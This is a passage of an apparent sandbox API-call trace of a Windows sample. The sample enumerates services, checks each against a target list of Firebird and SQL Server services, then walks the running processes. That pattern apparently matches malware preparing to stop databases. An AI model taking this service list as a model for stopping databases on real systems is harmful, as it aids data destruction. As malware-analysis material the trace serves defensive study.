lpResumeHandle=0x0) returned 0 [0200.405] GetLastError () returned 0xea [0200.405] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x457b938 [0200.405] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x457b938, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x457b938, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0200.406] CloseServiceHandle (hSCObject=0x459f268) returned 1 [0200.406] lstrlenW (lpString="Appinfo") returned 7 [0200.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0200.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0200.406] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0200.406] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0200.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0200.406] lstrlenW (lpString="AppXSvc") returned 7 [0200.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0200.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0200.406] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0200.406] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0200.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0200.406] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0200.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.407] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0200.407] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0200.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0200.407] lstrlenW (lpString="Audiosrv") returned 8 [0200.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0200.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0200.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0200.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0200.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0200.407] lstrlenW (lpString="BFE") returned 3 [0200.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0200.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0200.407] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0200.407] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0200.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0200.407] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0200.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0200.408] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0200.408] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0200.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0200.408] lstrlenW (lpString="CDPSvc") returned 6 [0200.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0200.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0200.408] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0200.408] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0200.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0200.408] lstrlenW (lpString="ClickToRunSvc") returned 13 [0200.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0200.408] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0200.408] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0200.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0200.409] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0200.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0200.409] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0200.409] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0200.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0200.409] lstrlenW (lpString="CryptSvc") returned 8 [0200.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0200.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0200.409] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0200.409] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0200.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0200.409] lstrlenW (lpString="DcomLaunch") returned 10 [0200.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.409] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0200.410] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0200.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0200.410] lstrlenW (lpString="DeviceAssociationService") returned 24 [0200.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0200.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0200.410] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0200.410] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0200.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0200.410] lstrlenW (lpString="Dhcp") returned 4 [0200.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0200.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0200.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0200.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0200.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0200.410] lstrlenW (lpString="Dnscache") returned 8 [0200.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0200.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0200.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0200.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0200.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0200.411] lstrlenW (lpString="DPS") returned 3 [0200.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0200.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0200.411] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0200.411] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0200.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0200.411] lstrlenW (lpString="DusmSvc") returned 7 [0200.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0200.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0200.411] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0200.411] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0200.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0200.411] lstrlenW (lpString="EventLog") returned 8 [0200.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0200.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0200.412] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0200.412] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0200.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0200.412] lstrlenW (lpString="EventSystem") returned 11 [0200.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0200.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0200.412] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0200.412] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0200.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0200.412] lstrlenW (lpString="FontCache") returned 9 [0200.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0200.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0200.412] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0200.412] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0200.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0200.412] lstrlenW (lpString="gpsvc") returned 5 [0200.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0200.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0200.412] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0200.412] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0200.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0200.413] lstrlenW (lpString="iphlpsvc") returned 8 [0200.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0200.413] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0200.413] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0200.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0200.413] lstrlenW (lpString="KeyIso") returned 6 [0200.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0200.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0200.413] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0200.413] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0200.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0200.413] lstrlenW (lpString="LanmanServer") returned 12 [0200.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0200.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0200.413] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0200.413] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0200.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0200.413] lstrlenW (lpString="LanmanWorkstation") returned 17 [0200.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0200.414] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0200.414] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0200.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0200.414] lstrlenW (lpString="lfsvc") returned 5 [0200.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0200.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0200.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0200.520] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0200.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0200.520] lstrlenW (lpString="lmhosts") returned 7 [0200.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0200.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0200.520] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0200.521] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0200.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0200.521] lstrlenW (lpString="LSM") returned 3 [0200.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0200.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0200.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0200.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0200.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0200.521] lstrlenW (lpString="MpsSvc") returned 6 [0200.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0200.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0200.521] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0200.521] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0200.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0200.521] lstrlenW (lpString="NcbService") returned 10 [0200.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0200.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0200.521] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0200.521] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0200.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0200.521] lstrlenW (lpString="netprofm") returned 8 [0200.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0200.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0200.522] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0200.522] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0200.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0200.522] lstrlenW (lpString="NgcSvc") returned 6 [0200.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0200.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0200.522] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0200.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0200.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0200.522] lstrlenW (lpString="NlaSvc") returned 6 [0200.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0200.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0200.522] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0200.522] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0200.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0200.522] lstrlenW (lpString="nsi") returned 3 [0200.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0200.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0200.522] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0200.523] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0200.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0200.523] lstrlenW (lpString="PcaSvc") returned 6 [0200.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0200.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0200.523] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0200.523] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0200.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0200.523] lstrlenW (lpString="PlugPlay") returned 8 [0200.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0200.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0200.523] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0200.523] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0200.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0200.523] lstrlenW (lpString="Power") returned 5 [0200.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0200.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0200.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0200.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0200.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0200.524] lstrlenW (lpString="ProfSvc") returned 7 [0200.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0200.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0200.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0200.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0200.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0200.524] lstrlenW (lpString="RpcEptMapper") returned 12 [0200.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.524] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0200.524] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0200.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0200.525] lstrlenW (lpString="RpcSs") returned 5 [0200.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0200.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0200.525] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0200.525] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0200.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0200.525] lstrlenW (lpString="SamSs") returned 5 [0200.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0200.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0200.525] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0200.525] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0200.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0200.525] lstrlenW (lpString="Schedule") returned 8 [0200.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0200.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0200.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0200.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0200.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0200.526] lstrlenW (lpString="SecurityHealthService") returned 21 [0200.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0200.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0200.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0200.526] lstrlenW (lpString="SENS") returned 4 [0200.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0200.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0200.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0200.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0200.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0200.527] lstrlenW (lpString="ShellHWDetection") returned 16 [0200.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.527] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0200.527] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0200.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0200.527] lstrlenW (lpString="Spooler") returned 7 [0200.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0200.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0200.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0200.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0200.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0200.527] lstrlenW (lpString="StateRepository") returned 15 [0200.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0200.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0200.527] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0200.527] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0200.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0200.527] lstrlenW (lpString="SysMain") returned 7 [0200.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0200.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0200.528] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0200.528] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0200.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0200.528] lstrlenW (lpString="SystemEventsBroker") returned 18 [0200.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0200.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0200.528] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0200.528] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0200.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0200.528] lstrlenW (lpString="Themes") returned 6 [0200.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0200.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0200.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0200.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0200.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0200.528] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0200.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0200.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0200.528] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0200.528] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0200.529] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c [0200.538] Process32FirstW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.539] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0200.540] lstrlenW (lpString="System") returned 6 [0200.540] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0200.542] lstrlenW (lpString="smss.exe") returned 8 [0200.542] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.543] lstrlenW (lpString="csrss.exe") returned 9 [0200.543] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0200.544] lstrlenW (lpString="wininit.exe") returned 11 [0200.544] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.545] lstrlenW (lpString="csrss.exe") returned 9 [0200.546] 